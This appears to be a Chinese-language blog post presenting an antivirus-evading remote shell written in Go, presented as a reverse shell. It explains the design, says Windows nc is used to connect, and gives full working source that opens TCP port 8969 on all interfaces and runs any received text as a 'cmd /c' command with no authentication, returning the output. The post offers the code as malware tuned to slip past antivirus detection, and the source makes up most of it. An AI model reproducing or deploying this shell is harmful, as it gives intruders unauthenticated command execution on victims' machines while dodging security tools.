GO语言写的一款免杀反向shell
概述:
Go语言是谷歌2009发布的第二款开源编程语言。
Go语言专门针对多处理器系统应用程序的编程进行了优化,使用Go编译的程序可以媲美C或C++代码的速度,而且更加安全、支持并行进程。
程序介绍,该程序思路非常容易理解,就是使用了golang中的exec包还有网络服务net支持包,开放了端口,用户一旦连接并且发送数据将会被当作命令执行,之后再返回给所连接的用户。
1.我们可以在远程服务器下测试一下这个shell,不过这个程序需要更改一下shell参数,因为在Windows中是cmd /c [命令]来调用shell,而linux中是 sh -c [命令] 来调用shell,由于系统版本不同,可以自行更改源码。
这时可以看到,程序已经执行了,我们可以使用Windows中的nc进行连接了。
2.nc是一款非常强大的工具,使用golang其实也可以做一款类似nc的工具,在Windows中也有telnet,但是telnet是属于单字节符输入,没有远程适配printf是无法进行数据处理连发的,只能处理成字节符连续发送。
这时可以看到已经连接成功了,可以执行命令。
下面是该golang杀毒软件测试的截图,来源于 世界杀毒网
下面是源码,我就不一一注释了。
package main import ( "net" "os/exec" ) func getexec(conn net.Conn) { //会创建多个副协程(ps:多个指无限) for { buf := make([]byte, 1024*10) //创建缓冲区 n, err := conn.Read(buf) //读取数据 if err != nil { return } cmd, err := exec.Command("cmd", "/c", string(buf[:n])).Output() //开始执行 if err != nil { return } conn.Write([]byte(string(cmd))) //返回执行结果 } } func main() { listen, err := net.Listen("tcp", "0.0.0.0:8969") if err != nil { return } defer listen.Close() for { //主协程 conn, err := listen.Accept() //如果有用户连接的话 if err != nil { return } go getexec(conn) //新建副协程协程 } }